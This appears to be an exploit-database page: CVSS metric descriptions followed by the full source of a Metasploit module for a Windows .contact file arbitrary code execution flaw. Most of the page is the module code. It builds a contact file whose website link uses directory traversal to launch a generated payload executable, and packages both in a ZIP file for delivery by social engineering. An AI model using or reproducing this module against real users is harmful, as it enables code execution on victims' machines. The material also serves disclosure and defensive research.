The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
High
AC
The successful attack depends on the evasion or circumvention of security-enhancing techniques in place that would otherwise hinder the attack. These include: Evasion of exploit mitigation techniques. The attacker must have additional methods available to bypass security measures in place. For example, circumvention of address space randomization (ASLR) or data execution prevention must be performed for the attack to be successful. Obtaining target-specific secrets. The attacker must gather some target-specific secret before the attack can be successful. A secret is any piece of information that cannot be obtained through any amount of reconnaissance. To obtain the secret the attacker must perform additional attacks or break otherwise secure measures (e.g. knowledge of a secret key may be needed to break a crypto channel). This operation must be performed for each attacked target.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Microsoft Windows Contact File Format Arbitary Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'fileutils'
require 'rex/zip'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows Contact File Format Arbitary Code Execution',
'Description' => %q{
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Windows.
User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The flaw is due to the processing of ".contact" files <c:Url> node param which takes an expected website value, however if an attacker references an
executable file it will run that instead without warning instead of performing expected web navigation. This is dangerous and would be unexpected to an end user.
Executable files can live in a sub-directory so when the ".contact" website link is clicked it traverses directories towards the executable and runs.
Making matters worse is if the the files are compressed then downloaded "mark of the web" (MOTW) may potentially not work as expected with certain archive utilitys.
The ".\" chars allow directory traversal to occur in order to run the attackers supplied executable sitting unseen in the attackers directory.
This advisory is a duplicate issue that currently affects Windows .VCF files, and released for the sake of completeness as it affects Windows .contact files as well.
},
'Author' =>
[ 'John Page (aka hyp3rlinx)', # Vuln discovery
'Brenner Little' # MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
['EDB', '46188'],
['URL', 'http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-CONTACT-FILE-INSUFFECIENT-UI-WARNING-WEBSITE-LINK-ARBITRARY-CODE-EXECUTION.txt'],
['ZDI', '19-013']
],
'DisclosureDate' => 'Jan 17 2019', # According to https://www.exploit-db.com/exploits/46188
'Privileged' => false,
'Platform' => 'win',
'Payload' => {
'DisableNops' => true
},
'DefaultOptions' => {
'DisablePayloadHandler' => true
},
'Targets' => [['Windows', { }]],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('WEBSITE', [true, 'The URL that the user must click to launch the payload.', 'www.metasploit.com']),
OptString.new('FILENAME', [true, 'The first and last name embdeed in the .CONTACT file (also used as the filename for the .CONTACT and .ZIP files)', 'John Smith']),
])
end
def exploit
contact_full_name = "#{datastore['FILENAME']}"
exe_filename = "#{datastore['WEBSITE']}"
xml_header = %Q|<?xml version="1.0" encoding="UTF-8"?>
\t<c:contact c:Version="1" xmlns:c="http://schemas.microsoft.com/Contact" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:MSP2P="http://schemas.microsoft.com/Contact/Extended/MSP2P">
\t<c:CreationDate>2019-04-10T20:19:26Z</c:CreationDate><c:Extended xsi:nil="true"/>
\t|
xml_body = %Q|
<c:ContactIDCollection>
<c:ContactID c:ElementID="492912d2-db87-4da2-9fb0-1a3533284d09"><c:Value>e3b2d76c-3355-4f54-b995-0ce0dcf84c8a</c:Value></c:ContactID>
</c:ContactIDCollection>
<c:NameCollection>
<c:Name c:ElementID="9c47b169-4385-40e9-97cf-cc2f55544c8d">
<c:FormattedName>CONTACT_FULL_NAME</c:FormattedName>
<c:FamilyName>CONTACT_LAST_NAME</c:FamilyName>
<c:GivenName>CONTACT_FIRST_NAME</c:GivenName>
</c:Name>
</c:NameCollection>
<c:PhotoCollection>
<c:Photo c:ElementID="9b2b24b3-2ce5-4553-abe1-8cb0cf7ad12e">
<c:LabelCollection>
<c:Label>UserTile</c:Label>
</c:LabelCollection>
</c:Photo>
</c:PhotoCollection>
<c:UrlCollection c:Version="1" c:ModificationDate="2019-04-10T21:15:00Z">
<c:Url c:ElementID="4aca9a0f-72fd-45ff-8683-1524caafd6e9" c:Version="1" c:ModificationDate="2019-04-10T21:15:00Z">
<c:Value c:Version="1" c:ModificationDate="2019-04-10T21:15:00Z">EXE_PATH</c:Value>
<c:LabelCollection>
<c:Label c:Version="1" c:ModificationDate="2019-04-10T21:15:00Z">Business</c:Label>
</c:LabelCollection>
</c:Url>
</c:UrlCollection>
</c:contact>|.gsub(/\n[ ]*/,'')
xml = xml_header + xml_body
xml.gsub!(/CONTACT_FULL_NAME/, contact_full_name);
xml.gsub!(/CONTACT_LAST_NAME/, contact_full_name.split(' ')[-1]);
xml.gsub!(/CONTACT_FIRST_NAME/, contact_full_name.split(' ')[0]);
xml.gsub!(/EXE_PATH/, "http.\\" + exe_filename);
exe = generate_payload_exe
zip = Rex::Zip::Archive.new
zip.add_file("/http/" + exe_filename, exe)
zip.add_file(contact_full_name + ".contact", xml)
zip.save_to(contact_full_name + ".zip")
print_good("Created '#{contact_full_name}.zip'")
end
end
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